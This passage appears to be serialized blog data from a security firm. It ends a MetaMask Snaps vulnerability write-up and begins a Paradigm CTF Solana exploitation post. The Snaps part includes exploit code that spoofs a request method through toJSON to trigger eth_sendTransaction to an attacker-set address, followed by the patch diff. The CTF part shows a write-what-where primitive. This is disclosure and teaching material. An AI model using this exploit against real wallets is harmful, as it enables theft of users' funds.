transactionExploit",{"type":24,"tag":327,"props":46547,"children":46548},{"style":346},[46549],{"type":29,"value":46318},{"type":24,"tag":327,"props":46551,"children":46552},{"class":329,"line":1148},[46553,46557,46561,46565,46569,46573],{"type":24,"tag":327,"props":46554,"children":46555},{"style":334},[46556],{"type":29,"value":15417},{"type":24,"tag":327,"props":46558,"children":46559},{"style":356},[46560],{"type":29,"value":359},{"type":24,"tag":327,"props":46562,"children":46563},{"style":381},[46564],{"type":29,"value":4809},{"type":24,"tag":327,"props":46566,"children":46567},{"style":346},[46568],{"type":29,"value":46338},{"type":24,"tag":327,"props":46570,"children":46571},{"style":425},[46572],{"type":29,"value":2479},{"type":24,"tag":327,"props":46574,"children":46575},{"style":1639},[46576],{"type":29,"value":46347},{"type":24,"tag":327,"props":46578,"children":46579},{"class":329,"line":1176},[46580],{"type":24,"tag":327,"props":46581,"children":46582},{"emptyLinePlaceholder":16},[46583],{"type":29,"value":544},{"type":24,"tag":327,"props":46585,"children":46586},{"class":329,"line":1184},[46587,46591,46595,46599,46603],{"type":24,"tag":327,"props":46588,"children":46589},{"style":356},[46590],{"type":29,"value":46362},{"type":24,"tag":327,"props":46592,"children":46593},{"style":346},[46594],{"type":29,"value":66},{"type":24,"tag":327,"props":46596,"children":46597},{"style":356},[46598],{"type":29,"value":45026},{"type":24,"tag":327,"props":46600,"children":46601},{"style":381},[46602],{"type":29,"value":4809},{"type":24,"tag":327,"props":46604,"children":46605},{"style":844},[46606],{"type":29,"value":46379},{"type":24,"tag":327,"props":46608,"children":46609},{"class":329,"line":1192},[46610],{"type":24,"tag":327,"props":46611,"children":46612},{"emptyLinePlaceholder":16},[46613],{"type":29,"value":544},{"type":24,"tag":327,"props":46615,"children":46616},{"class":329,"line":1212},[46617,46621,46625,46629,46633,46637,46641],{"type":24,"tag":327,"props":46618,"children":46619},{"style":356},[46620],{"type":29,"value":46362},{"type":24,"tag":327,"props":46622,"children":46623},{"style":346},[46624],{"type":29,"value":66},{"type":24,"tag":327,"props":46626,"children":46627},{"style":340},[46628],{"type":29,"value":46126},{"type":24,"tag":327,"props":46630,"children":46631},{"style":381},[46632],{"type":29,"value":4809},{"type":24,"tag":327,"props":46634,"children":46635},{"style":346},[46636],{"type":29,"value":46410},{"type":24,"tag":327,"props":46638,"children":46639},{"style":334},[46640],{"type":29,"value":9195},{"type":24,"tag":327,"props":46642,"children":46643},{"style":346},[46644],{"type":29,"value":497},{"type":24,"tag":327,"props":46646,"children":46647},{"class":329,"line":4841},[46648,46652],{"type":24,"tag":327,"props":46649,"children":46650},{"style":425},[46651],{"type":29,"value":6023},{"type":24,"tag":327,"props":46653,"children":46654},{"style":346},[46655],{"type":29,"value":497},{"type":24,"tag":327,"props":46657,"children":46658},{"class":329,"line":4862},[46659,46663,46668],{"type":24,"tag":327,"props":46660,"children":46661},{"style":356},[46662],{"type":29,"value":46437},{"type":24,"tag":327,"props":46664,"children":46665},{"style":844},[46666],{"type":29,"value":46667}," \"eth_sendTransaction\"",{"type":24,"tag":327,"props":46669,"children":46670},{"style":346},[46671],{"type":29,"value":2231},{"type":24,"tag":327,"props":46673,"children":46674},{"class":329,"line":4870},[46675,46679],{"type":24,"tag":327,"props":46676,"children":46677},{"style":356},[46678],{"type":29,"value":46454},{"type":24,"tag":327,"props":46680,"children":46681},{"style":346},[46682],{"type":29,"value":46683}," [{\n",{"type":24,"tag":327,"props":46685,"children":46686},{"class":329,"line":4879},[46687,46691,46696,46700],{"type":24,"tag":327,"props":46688,"children":46689},{"style":356},[46690],{"type":29,"value":38775},{"type":24,"tag":327,"props":46692,"children":46693},{"style":844},[46694],{"type":29,"value":46695}," \"0xcf26B767586cC5fCF8737dD3FA57de164aF4248d\"",{"type":24,"tag":327,"props":46697,"children":46698},{"style":346},[46699],{"type":29,"value":2744},{"type":24,"tag":327,"props":46701,"children":46702},{"style":551},[46703],{"type":29,"value":46704},"// change this to your address\n",{"type":24,"tag":327,"props":46706,"children":46707},{"class":329,"line":4913},[46708,46712,46716],{"type":24,"tag":327,"props":46709,"children":46710},{"style":356},[46711],{"type":29,"value":38791},{"type":24,"tag":327,"props":46713,"children":46714},{"style":844},[46715],{"type":29,"value":46695},{"type":24,"tag":327,"props":46717,"children":46718},{"style":346},[46719],{"type":29,"value":2231},{"type":24,"tag":327,"props":46721,"children":46722},{"class":329,"line":4938},[46723,46728,46733],{"type":24,"tag":327,"props":46724,"children":46725},{"style":356},[46726],{"type":29,"value":46727},"        value:",{"type":24,"tag":327,"props":46729,"children":46730},{"style":844},[46731],{"type":29,"value":46732}," \"0x1\"",{"type":24,"tag":327,"props":46734,"children":46735},{"style":346},[46736],{"type":29,"value":2231},{"type":24,"tag":327,"props":46738,"children":46739},{"class":329,"line":4974},[46740],{"type":24,"tag":327,"props":46741,"children":46742},{"style":346},[46743],{"type":29,"value":46744},"      }]\n",{"type":24,"tag":327,"props":46746,"children":46747},{"class":329,"line":4982},[46748],{"type":24,"tag":327,"props":46749,"children":46750},{"style":346},[46751],{"type":29,"value":535},{"type":24,"tag":327,"props":46753,"children":46754},{"class":329,"line":4990},[46755],{"type":24,"tag":327,"props":46756,"children":46757},{"style":346},[46758],{"type":29,"value":13439},{"type":24,"tag":327,"props":46760,"children":46761},{"class":329,"line":4999},[46762],{"type":24,"tag":327,"props":46763,"children":46764},{"emptyLinePlaceholder":16},[46765],{"type":29,"value":544},{"type":24,"tag":327,"props":46767,"children":46768},{"class":329,"line":5042},[46769,46773,46777,46781,46785,46789,46793],{"type":24,"tag":327,"props":46770,"children":46771},{"style":425},[46772],{"type":29,"value":45912},{"type":24,"tag":327,"props":46774,"children":46775},{"style":356},[46776],{"type":29,"value":46492},{"type":24,"tag":327,"props":46778,"children":46779},{"style":346},[46780],{"type":29,"value":66},{"type":24,"tag":327,"props":46782,"children":46783},{"style":340},[46784],{"type":29,"value":38203},{"type":24,"tag":327,"props":46786,"children":46787},{"style":346},[46788],{"type":29,"value":349},{"type":24,"tag":327,"props":46790,"children":46791},{"style":356},[46792],{"type":29,"value":603},{"type":24,"tag":327,"props":46794,"children":46795},{"style":346},[46796],{"type":29,"value":583},{"type":24,"tag":327,"props":46798,"children":46799},{"class":329,"line":5075},[46800],{"type":24,"tag":327,"props":46801,"children":46802},{"style":346},[46803],{"type":29,"value":592},{"type":24,"tag":327,"props":46805,"children":46806},{"class":329,"line":5083},[46807],{"type":24,"tag":327,"props":46808,"children":46809},{"emptyLinePlaceholder":16},[46810],{"type":29,"value":544},{"type":24,"tag":327,"props":46812,"children":46813},{"class":329,"line":5091},[46814,46818,46822,46827,46831,46836,46840,46845,46850,46854,46858,46863,46867],{"type":24,"tag":327,"props":46815,"children":46816},{"style":425},[46817],{"type":29,"value":44922},{"type":24,"tag":327,"props":46819,"children":46820},{"style":334},[46821],{"type":29,"value":45824},{"type":24,"tag":327,"props":46823,"children":46824},{"style":340},[46825],{"type":29,"value":46826}," onRpcRequest",{"type":24,"tag":327,"props":46828,"children":46829},{"style":381},[46830],{"type":29,"value":1636},{"type":24,"tag":327,"props":46832,"children":46833},{"style":1639},[46834],{"type":29,"value":46835}," OnRpcRequestHandler",{"type":24,"tag":327,"props":46837,"children":46838},{"style":381},[46839],{"type":29,"value":4809},{"type":24,"tag":327,"props":46841,"children":46842},{"style":346},[46843],{"type":29,"value":46844}," ({ ",{"type":24,"tag":327,"props":46846,"children":46847},{"style":356},[46848],{"type":29,"value":46849},"origin",{"type":24,"tag":327,"props":46851,"children":46852},{"style":346},[46853],{"type":29,"value":2744},{"type":24,"tag":327,"props":46855,"children":46856},{"style":356},[46857],{"type":29,"value":38203},{"type":24,"tag":327,"props":46859,"children":46860},{"style":346},[46861],{"type":29,"value":46862}," }) ",{"type":24,"tag":327,"props":46864,"children":46865},{"style":334},[46866],{"type":29,"value":9195},{"type":24,"tag":327,"props":46868,"children":46869},{"style":346},[46870],{"type":29,"value":497},{"type":24,"tag":327,"props":46872,"children":46873},{"class":329,"line":5100},[46874],{"type":24,"tag":327,"props":46875,"children":46876},{"emptyLinePlaceholder":16},[46877],{"type":29,"value":544},{"type":24,"tag":327,"props":46879,"children":46880},{"class":329,"line":5176},[46881,46886,46890,46894,46898,46902],{"type":24,"tag":327,"props":46882,"children":46883},{"style":425},[46884],{"type":29,"value":46885},"  switch",{"type":24,"tag":327,"props":46887,"children":46888},{"style":346},[46889],{"type":29,"value":5894},{"type":24,"tag":327,"props":46891,"children":46892},{"style":356},[46893],{"type":29,"value":38203},{"type":24,"tag":327,"props":46895,"children":46896},{"style":346},[46897],{"type":29,"value":66},{"type":24,"tag":327,"props":46899,"children":46900},{"style":356},[46901],{"type":29,"value":45026},{"type":24,"tag":327,"props":46903,"children":46904},{"style":346},[46905],{"type":29,"value":364},{"type":24,"tag":327,"props":46907,"children":46908},{"class":329,"line":5209},[46909,46914,46919],{"type":24,"tag":327,"props":46910,"children":46911},{"style":425},[46912],{"type":29,"value":46913},"    case",{"type":24,"tag":327,"props":46915,"children":46916},{"style":844},[46917],{"type":29,"value":46918}," 'json'",{"type":24,"tag":327,"props":46920,"children":46921},{"style":346},[46922],{"type":29,"value":13136},{"type":24,"tag":327,"props":46924,"children":46925},{"class":329,"line":5217},[46926,46930,46934],{"type":24,"tag":327,"props":46927,"children":46928},{"style":425},[46929],{"type":29,"value":46070},{"type":24,"tag":327,"props":46931,"children":46932},{"style":340},[46933],{"type":29,"value":46313},{"type":24,"tag":327,"props":46935,"children":46936},{"style":346},[46937],{"type":29,"value":4838},{"type":24,"tag":327,"props":46939,"children":46940},{"class":329,"line":5225},[46941,46945,46950],{"type":24,"tag":327,"props":46942,"children":46943},{"style":425},[46944],{"type":29,"value":46913},{"type":24,"tag":327,"props":46946,"children":46947},{"style":844},[46948],{"type":29,"value":46949}," 'transaction'",{"type":24,"tag":327,"props":46951,"children":46952},{"style":346},[46953],{"type":29,"value":13136},{"type":24,"tag":327,"props":46955,"children":46956},{"class":329,"line":5263},[46957,46961,46965],{"type":24,"tag":327,"props":46958,"children":46959},{"style":425},[46960],{"type":29,"value":46070},{"type":24,"tag":327,"props":46962,"children":46963},{"style":340},[46964],{"type":29,"value":46545},{"type":24,"tag":327,"props":46966,"children":46967},{"style":346},[46968],{"type":29,"value":4838},{"type":24,"tag":327,"props":46970,"children":46971},{"class":329,"line":5276},[46972,46977],{"type":24,"tag":327,"props":46973,"children":46974},{"style":425},[46975],{"type":29,"value":46976},"    default",{"type":24,"tag":327,"props":46978,"children":46979},{"style":346},[46980],{"type":29,"value":13136},{"type":24,"tag":327,"props":46982,"children":46983},{"class":329,"line":5289},[46984,46989,46993,46998,47002,47007],{"type":24,"tag":327,"props":46985,"children":46986},{"style":425},[46987],{"type":29,"value":46988},"      throw",{"type":24,"tag":327,"props":46990,"children":46991},{"style":334},[46992],{"type":29,"value":38643},{"type":24,"tag":327,"props":46994,"children":46995},{"style":340},[46996],{"type":29,"value":46997}," Error",{"type":24,"tag":327,"props":46999,"children":47000},{"style":346},[47001],{"type":29,"value":349},{"type":24,"tag":327,"props":47003,"children":47004},{"style":844},[47005],{"type":29,"value":47006},"'Method not found.'",{"type":24,"tag":327,"props":47008,"children":47009},{"style":346},[47010],{"type":29,"value":583},{"type":24,"tag":327,"props":47012,"children":47013},{"class":329,"line":5302},[47014],{"type":24,"tag":327,"props":47015,"children":47016},{"style":346},[47017],{"type":29,"value":13439},{"type":24,"tag":327,"props":47019,"children":47020},{"class":329,"line":5360},[47021],{"type":24,"tag":327,"props":47022,"children":47023},{"style":346},[47024],{"type":29,"value":24092},{"type":24,"tag":25,"props":47026,"children":47027},{},[47028,47030,47036,47038,47043],{"type":29,"value":47029},"We set ",{"type":24,"tag":284,"props":47031,"children":47033},{"className":47032},[],[47034],{"type":29,"value":47035},"x.method = \"snap_dialog\"",{"type":29,"value":47037}," to pass the assertion and setup a toJSON function to change this method to ",{"type":24,"tag":284,"props":47039,"children":47041},{"className":47040},[],[47042],{"type":29,"value":46245},{"type":29,"value":47044}," after.",{"type":24,"tag":235,"props":47046,"children":47048},{"id":47047},"mitigation",[47049],{"type":29,"value":47050},"Mitigation",{"type":24,"tag":25,"props":47052,"children":47053},{},[47054,47056,47061,47063,47070],{"type":29,"value":47055},"Metamask mitigated this issue by asserting the arguments after the ",{"type":24,"tag":284,"props":47057,"children":47059},{"className":47058},[],[47060],{"type":29,"value":45789},{"type":29,"value":47062}," function execution. The patch was introduced on commit ",{"type":24,"tag":57,"props":47064,"children":47067},{"href":47065,"rel":47066},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[61],[47068],{"type":29,"value":47069},"168ff08",{"type":29,"value":47071}," with the following changes:",{"type":24,"tag":317,"props":47073,"children":47077},{"className":47074,"code":47075,"language":47076,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[47078],{"type":24,"tag":284,"props":47079,"children":47080},{"__ignoreMap":7},[47081,47089,47097,47105,47113],{"type":24,"tag":327,"props":47082,"children":47083},{"class":329,"line":330},[47084],{"type":24,"tag":327,"props":47085,"children":47086},{"style":346},[47087],{"type":29,"value":47088},"const request = async (args: RequestArguments) => {\n",{"type":24,"tag":327,"props":47090,"children":47091},{"class":329,"line":367},[47092],{"type":24,"tag":327,"props":47093,"children":47094},{"style":844},[47095],{"type":29,"value":47096},"-      assertEthereumOutboundRequest(args);\n",{"type":24,"tag":327,"props":47098,"children":47099},{"class":329,"line":408},[47100],{"type":24,"tag":327,"props":47101,"children":47102},{"style":844},[47103],{"type":29,"value":47104},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":24,"tag":327,"props":47106,"children":47107},{"class":329,"line":421},[47108],{"type":24,"tag":327,"props":47109,"children":47110},{"style":397},[47111],{"type":29,"value":47112},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":24,"tag":327,"props":47114,"children":47115},{"class":329,"line":450},[47116],{"type":24,"tag":327,"props":47117,"children":47118},{"style":397},[47119],{"type":29,"value":47120},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":24,"tag":228,"props":47122,"children":47123},{"id":10412},[47124],{"type":29,"value":226},{"type":24,"tag":25,"props":47126,"children":47127},{},[47128],{"type":29,"value":47129},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":24,"tag":25,"props":47131,"children":47132},{},[47133],{"type":29,"value":47134},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":24,"tag":10448,"props":47136,"children":47137},{},[47138],{"type":29,"value":10452},{"title":7,"searchDepth":367,"depth":367,"links":47140},[47141,47142,47149,47157],{"id":237,"depth":367,"text":240},{"id":42165,"depth":367,"text":42168,"children":47143},[47144,47145,47146,47147,47148],{"id":42176,"depth":408,"text":42179},{"id":42244,"depth":408,"text":42247},{"id":42280,"depth":408,"text":42283},{"id":43676,"depth":408,"text":43679},{"id":44034,"depth":408,"text":44037},{"id":44821,"depth":367,"text":44824,"children":47150},[47151,47152,47153,47154,47155,47156],{"id":44827,"depth":408,"text":44830},{"id":44871,"depth":408,"text":44874},{"id":45775,"depth":408,"text":45778},{"id":13230,"depth":408,"text":13233},{"id":46218,"depth":408,"text":41541},{"id":47047,"depth":408,"text":47050},{"id":10412,"depth":367,"text":226},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":47162,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":47163,"description":47164,"author":47165,"image":47167,"date":47169,"isFeatured":16,"onBlogPage":16,"body":47170,"_type":10481,"_id":52590,"_source":10483,"_file":52591,"_stem":52592,"_extension":10486},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[47166,13288],"nicola",{"src":47168},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":21,"children":47171,"toc":52579},[47172,47186,47206,47211,47215,47228,47253,47259,47264,47279,47633,47648,47913,47929,48572,48578,48583,48596,48604,48816,48824,49127,49135,49278,49286,49811,49817,49829,49842,49856,49861,50629,50634,50642,50647,50653,50665,50730,50735,50748,50761,50767,50795,51946,51959,52001,52006,52011,52025,52165,52186,52207,52214,52265,52273,52284,52297,52302,52426,52439,52541,52545,52558,52563,52575],{"type":24,"tag":25,"props":47173,"children":47174},{},[47175,47177,47184],{"type":29,"value":47176},"In the world of CTFs, ",{"type":24,"tag":57,"props":47178,"children":47181},{"href":47179,"rel":47180},"https://twitter.com/paradigm_ctf",[61],[47182],{"type":29,"value":47183},"Paradigm CTF 2023",{"type":29,"value":47185}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":24,"tag":25,"props":47187,"children":47188},{},[47189,47191,47198,47199],{"type":29,"value":47190},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":24,"tag":57,"props":47192,"children":47195},{"href":47193,"rel":47194},"https://osec.io/blog/2022-03-14-solana-security-intro",[61],[47196],{"type":29,"value":47197},"Solana: An Auditor's Introduction",{"type":29,"value":1323},{"type":24,"tag":57,"props":47200,"children":47203},{"href":47201,"rel":47202},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[61],[47204],{"type":29,"value":47205},"Reverse Engineering Solana with Binary Ninja.\n",{"type":24,"tag":25,"props":47207,"children":47208},{},[47209],{"type":29,"value":47210},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":24,"tag":228,"props":47212,"children":47213},{"id":237},[47214],{"type":29,"value":240},{"type":24,"tag":25,"props":47216,"children":47217},{},[47218,47220,47226],{"type":29,"value":47219},"The challenge itself resides into ",{"type":24,"tag":284,"props":47221,"children":47223},{"className":47222},[],[47224],{"type":29,"value":47225},"framework/",{"type":29,"value":47227},", and is composed of 2 parts:",{"type":24,"tag":1380,"props":47229,"children":47230},{},[47231,47242],{"type":24,"tag":179,"props":47232,"children":47233},{},[47234,47240],{"type":24,"tag":284,"props":47235,"children":47237},{"className":47236},[],[47238],{"type":29,"value":47239},"framework/chall/lib.rs",{"type":29,"value":47241},": The on-chain eBPF program that needs to be exploited.",{"type":24,"tag":179,"props":47243,"children":47244},{},[47245,47251],{"type":24,"tag":284,"props":47246,"children":47248},{"className":47247},[],[47249],{"type":29,"value":47250},"framework/src/main.rs",{"type":29,"value":47252},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":24,"tag":235,"props":47254,"children":47256},{"id":47255},"vulnerable-program",[47257],{"type":29,"value":47258},"Vulnerable Program",{"type":24,"tag":25,"props":47260,"children":47261},{},[47262],{"type":29,"value":47263},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":24,"tag":175,"props":47265,"children":47266},{},[47267],{"type":24,"tag":179,"props":47268,"children":47269},{},[47270,47271,47277],{"type":29,"value":15042},{"type":24,"tag":284,"props":47272,"children":47274},{"className":47273},[],[47275],{"type":29,"value":47276},"data[0] == 0",{"type":29,"value":47278}," a function that lets you write-what-where is executed",{"type":24,"tag":317,"props":47280,"children":47282},{"className":1553,"code":47281,"language":1552,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[47283],{"type":24,"tag":284,"props":47284,"children":47285},{"__ignoreMap":7},[47286,47294,47339,47350,47473,47590,47619,47626],{"type":24,"tag":327,"props":47287,"children":47288},{"class":329,"line":330},[47289],{"type":24,"tag":327,"props":47290,"children":47291},{"style":346},[47292],{"type":29,"value":47293},"#[inline(never)]\n",{"type":24,"tag":327,"props":47295,"children":47296},{"class":329,"line":367},[47297,47301,47305,47310,47314,47318,47322,47326,47330,47334],{"type":24,"tag":327,"props":47298,"children":47299},{"style":334},[47300],{"type":29,"value":2524},{"type":24,"tag":327,"props":47302,"children":47303},{"style":334},[47304],{"type":29,"value":4653},{"type":24,"tag":327,"props":47306,"children":47307},{"style":340},[47308],{"type":29,"value":47309}," write",{"type":24,"tag":327,"props":47311,"children":47312},{"style":346},[47313],{"type":29,"value":349},{"type":24,"tag":327,"props":47315,"children":47316},{"style":356},[47317],{"type":29,"value":11298},{"type":24,"tag":327,"props":47319,"children":47320},{"style":381},[47321],{"type":29,"value":1636},{"type":24,"tag":327,"props":47323,"children":47324},{"style":381},[47325],{"type":29,"value":14704},{"type":24,"tag":327,"props":47327,"children":47328},{"style":346},[47329],{"type":29,"value":11329},{"type":24,"tag":327,"props":47331,"children":47332},{"style":1639},[47333],{"type":29,"value":11022},{"type":24,"tag":327,"props":47335,"children":47336},{"style":346},[47337],{"type":29,"value":47338},"]) {\n",{"type":24,"tag":327,"props":47340,"children":47341},{"class":329,"line":408},[47342,47346],{"type":24,"tag":327,"props":47343,"children":47344},{"style":334},[47345],{"type":29,"value":21367},{"type":24,"tag":327,"props":47347,"children":47348},{"style":346},[47349],{"type":29,"value":497},{"type":24,"tag":327,"props":47351,"children":47352},{"class":329,"line":421},[47353,47357,47361,47365,47370,47374,47379,47383,47388,47392,47397,47401,47405,47409,47413,47417,47421,47425,47429,47433,47437,47441,47445,47449,47453,47457,47461,47465,47469],{"type":24,"tag":327,"props":47354,"children":47355},{"style":334},[47356],{"type":29,"value":7558},{"type":24,"tag":327,"props":47358,"children":47359},{"style":356},[47360],{"type":29,"value":21391},{"type":24,"tag":327,"props":47362,"children":47363},{"style":381},[47364],{"type":29,"value":4809},{"type":24,"tag":327,"props":47366,"children":47367},{"style":346},[47368],{"type":29,"value":47369}," std",{"type":24,"tag":327,"props":47371,"children":47372},{"style":381},[47373],{"type":29,"value":2407},{"type":24,"tag":327,"props":47375,"children":47376},{"style":346},[47377],{"type":29,"value":47378},"mem",{"type":24,"tag":327,"props":47380,"children":47381},{"style":381},[47382],{"type":29,"value":2407},{"type":24,"tag":327,"props":47384,"children":47385},{"style":340},[47386],{"type":29,"value":47387},"transmute",{"type":24,"tag":327,"props":47389,"children":47390},{"style":381},[47391],{"type":29,"value":2407},{"type":24,"tag":327,"props":47393,"children":47394},{"style":346},[47395],{"type":29,"value":47396},"\u003C[",{"type":24,"tag":327,"props":47398,"children":47399},{"style":1639},[47400],{"type":29,"value":11022},{"type":24,"tag":327,"props":47402,"children":47403},{"style":346},[47404],{"type":29,"value":9866},{"type":24,"tag":327,"props":47406,"children":47407},{"style":397},[47408],{"type":29,"value":11653},{"type":24,"tag":327,"props":47410,"children":47411},{"style":346},[47412],{"type":29,"value":4474},{"type":24,"tag":327,"props":47414,"children":47415},{"style":381},[47416],{"type":29,"value":469},{"type":24,"tag":327,"props":47418,"children":47419},{"style":334},[47420],{"type":29,"value":2099},{"type":24,"tag":327,"props":47422,"children":47423},{"style":1639},[47424],{"type":29,"value":1669},{"type":24,"tag":327,"props":47426,"children":47427},{"style":346},[47428],{"type":29,"value":15173},{"type":24,"tag":327,"props":47430,"children":47431},{"style":356},[47432],{"type":29,"value":11298},{"type":24,"tag":327,"props":47434,"children":47435},{"style":346},[47436],{"type":29,"value":11329},{"type":24,"tag":327,"props":47438,"children":47439},{"style":381},[47440],{"type":29,"value":10662},{"type":24,"tag":327,"props":47442,"children":47443},{"style":397},[47444],{"type":29,"value":11653},{"type":24,"tag":327,"props":47446,"children":47447},{"style":346},[47448],{"type":29,"value":22934},{"type":24,"tag":327,"props":47450,"children":47451},{"style":381},[47452],{"type":29,"value":66},{"type":24,"tag":327,"props":47454,"children":47455},{"style":340},[47456],{"type":29,"value":7625},{"type":24,"tag":327,"props":47458,"children":47459},{"style":346},[47460],{"type":29,"value":7616},{"type":24,"tag":327,"props":47462,"children":47463},{"style":381},[47464],{"type":29,"value":66},{"type":24,"tag":327,"props":47466,"children":47467},{"style":340},[47468],{"type":29,"value":5352},{"type":24,"tag":327,"props":47470,"children":47471},{"style":346},[47472],{"type":29,"value":10225},{"type":24,"tag":327,"props":47474,"children":47475},{"class":329,"line":450},[47476,47480,47485,47489,47493,47497,47501,47505,47509,47513,47517,47521,47525,47529,47533,47537,47541,47545,47549,47553,47557,47562,47566,47570,47574,47578,47582,47586],{"type":24,"tag":327,"props":47477,"children":47478},{"style":334},[47479],{"type":29,"value":7558},{"type":24,"tag":327,"props":47481,"children":47482},{"style":356},[47483],{"type":29,"value":47484}," val",{"type":24,"tag":327,"props":47486,"children":47487},{"style":381},[47488],{"type":29,"value":4809},{"type":24,"tag":327,"props":47490,"children":47491},{"style":346},[47492],{"type":29,"value":47369},{"type":24,"tag":327,"props":47494,"children":47495},{"style":381},[47496],{"type":29,"value":2407},{"type":24,"tag":327,"props":47498,"children":47499},{"style":346},[47500],{"type":29,"value":47378},{"type":24,"tag":327,"props":47502,"children":47503},{"style":381},[47504],{"type":29,"value":2407},{"type":24,"tag":327,"props":47506,"children":47507},{"style":340},[47508],{"type":29,"value":47387},{"type":24,"tag":327,"props":47510,"children":47511},{"style":381},[47512],{"type":29,"value":2407},{"type":24,"tag":327,"props":47514,"children":47515},{"style":346},[47516],{"type":29,"value":47396},{"type":24,"tag":327,"props":47518,"children":47519},{"style":1639},[47520],{"type":29,"value":11022},{"type":24,"tag":327,"props":47522,"children":47523},{"style":346},[47524],{"type":29,"value":9866},{"type":24,"tag":327,"props":47526,"children":47527},{"style":397},[47528],{"type":29,"value":11653},{"type":24,"tag":327,"props":47530,"children":47531},{"style":346},[47532],{"type":29,"value":4474},{"type":24,"tag":327,"props":47534,"children":47535},{"style":1639},[47536],{"type":29,"value":15603},{"type":24,"tag":327,"props":47538,"children":47539},{"style":346},[47540],{"type":29,"value":15173},{"type":24,"tag":327,"props":47542,"children":47543},{"style":356},[47544],{"type":29,"value":11298},{"type":24,"tag":327,"props":47546,"children":47547},{"style":346},[47548],{"type":29,"value":11329},{"type":24,"tag":327,"props":47550,"children":47551},{"style":397},[47552],{"type":29,"value":11653},{"type":24,"tag":327,"props":47554,"children":47555},{"style":381},[47556],{"type":29,"value":10662},{"type":24,"tag":327,"props":47558,"children":47559},{"style":397},[47560],{"type":29,"value":47561},"16",{"type":24,"tag":327,"props":47563,"children":47564},{"style":346},[47565],{"type":29,"value":22934},{"type":24,"tag":327,"props":47567,"children":47568},{"style":381},[47569],{"type":29,"value":66},{"type":24,"tag":327,"props":47571,"children":47572},{"style":340},[47573],{"type":29,"value":7625},{"type":24,"tag":327,"props":47575,"children":47576},{"style":346},[47577],{"type":29,"value":7616},{"type":24,"tag":327,"props":47579,"children":47580},{"style":381},[47581],{"type":29,"value":66},{"type":24,"tag":327,"props":47583,"children":47584},{"style":340},[47585],{"type":29,"value":5352},{"type":24,"tag":327,"props":47587,"children":47588},{"style":346},[47589],{"type":29,"value":10225},{"type":24,"tag":327,"props":47591,"children":47592},{"class":329,"line":481},[47593,47598,47602,47607,47611,47615],{"type":24,"tag":327,"props":47594,"children":47595},{"style":356},[47596],{"type":29,"value":47597},"        ptr",{"type":24,"tag":327,"props":47599,"children":47600},{"style":381},[47601],{"type":29,"value":66},{"type":24,"tag":327,"props":47603,"children":47604},{"style":340},[47605],{"type":29,"value":47606},"write_volatile",{"type":24,"tag":327,"props":47608,"children":47609},{"style":346},[47610],{"type":29,"value":349},{"type":24,"tag":327,"props":47612,"children":47613},{"style":356},[47614],{"type":29,"value":20176},{"type":24,"tag":327,"props":47616,"children":47617},{"style":346},[47618],{"type":29,"value":583},{"type":24,"tag":327,"props":47620,"children":47621},{"class":329,"line":500},[47622],{"type":24,"tag":327,"props":47623,"children":47624},{"style":346},[47625],{"type":29,"value":535},{"type":24,"tag":327,"props":47627,"children":47628},{"class":329,"line":529},[47629],{"type":24,"tag":327,"props":47630,"children":47631},{"style":346},[47632],{"type":29,"value":592},{"type":24,"tag":175,"props":47634,"children":47635},{"start":367},[47636],{"type":24,"tag":179,"props":47637,"children":47638},{},[47639,47640,47646],{"type":29,"value":15042},{"type":24,"tag":284,"props":47641,"children":47643},{"className":47642},[],[47644],{"type":29,"value":47645},"data[0] == 1",{"type":29,"value":47647},", a CPI to a non-existent program is executed:",{"type":24,"tag":317,"props":47649,"children":47651},{"className":1553,"code":47650,"language":1552,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    